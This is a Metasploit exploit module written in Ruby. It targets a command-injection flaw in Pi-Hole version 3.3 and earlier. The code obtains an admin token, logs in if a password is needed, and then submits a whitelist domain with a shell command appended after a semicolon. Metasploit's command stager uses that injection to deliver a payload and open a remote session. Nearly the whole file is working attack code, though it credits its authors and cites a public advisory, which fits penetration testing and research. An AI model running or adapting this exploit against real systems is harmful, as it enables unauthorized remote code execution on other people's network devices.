134 lines
3.9 KiB
Ruby
134 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Remote::HTTP::Pihole
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Pi-Hole Whitelist OS Command Execution',
|
|
'Description' => %q{
|
|
This exploits a command execution vulnerability in Pi-Hole <= 3.3.
|
|
When adding a new domain to the whitelist, it is possible to chain
|
|
a command to the domain that is run on the OS.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Denis Andzakovic' # original PoC, discovery
|
|
],
|
|
'References' => [
|
|
['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns']
|
|
],
|
|
'Platform' => ['linux'],
|
|
'Privileged' => false,
|
|
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
|
|
'Targets' => [
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DisclosureDate' => '2018-04-15',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK],
|
|
'Reliability' => [REPEATABLE_SESSION]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
# get token
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'l' => 'white'
|
|
}
|
|
)
|
|
|
|
# check if we got hit by a login prompt
|
|
if res && res.body.include?('Sign in to start your session')
|
|
res = login(datastore['PASSWORD'])
|
|
fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?
|
|
# res = send_request_cgi(
|
|
# 'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
|
|
# 'keep_cookies' => true,
|
|
# 'ctype' => 'application/x-www-form-urlencoded',
|
|
# 'cookie' => cookie,
|
|
# 'vars_get' => {
|
|
# 'l' => 'white'
|
|
# }
|
|
# )
|
|
end
|
|
|
|
token = get_token('api')
|
|
|
|
if token.nil?
|
|
fail_with(Failure::UnexpectedReply, 'Unable to find token')
|
|
end
|
|
print_status("Using token: #{token}")
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),
|
|
'vars_post' => {
|
|
'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",
|
|
'list' => 'white',
|
|
'token' => token
|
|
}
|
|
})
|
|
end
|
|
|
|
def check
|
|
begin
|
|
_version, web_version, _ftl = get_versions
|
|
|
|
if web_version.nil?
|
|
print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if web_version && Rex::Version.new(web_version) < Rex::Version.new('3.3')
|
|
vprint_good("Web Interface Version Detected: #{web_version}")
|
|
return CheckCode::Appears
|
|
else
|
|
vprint_bad("Web Interface Version Detected: #{web_version}")
|
|
return CheckCode::Safe
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
print_error("#{peer} - Could not connect to the web service")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
if check != CheckCode::Appears
|
|
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
|
end
|
|
|
|
begin
|
|
execute_cmdstager(flavor: :bourne)
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|
|
end
|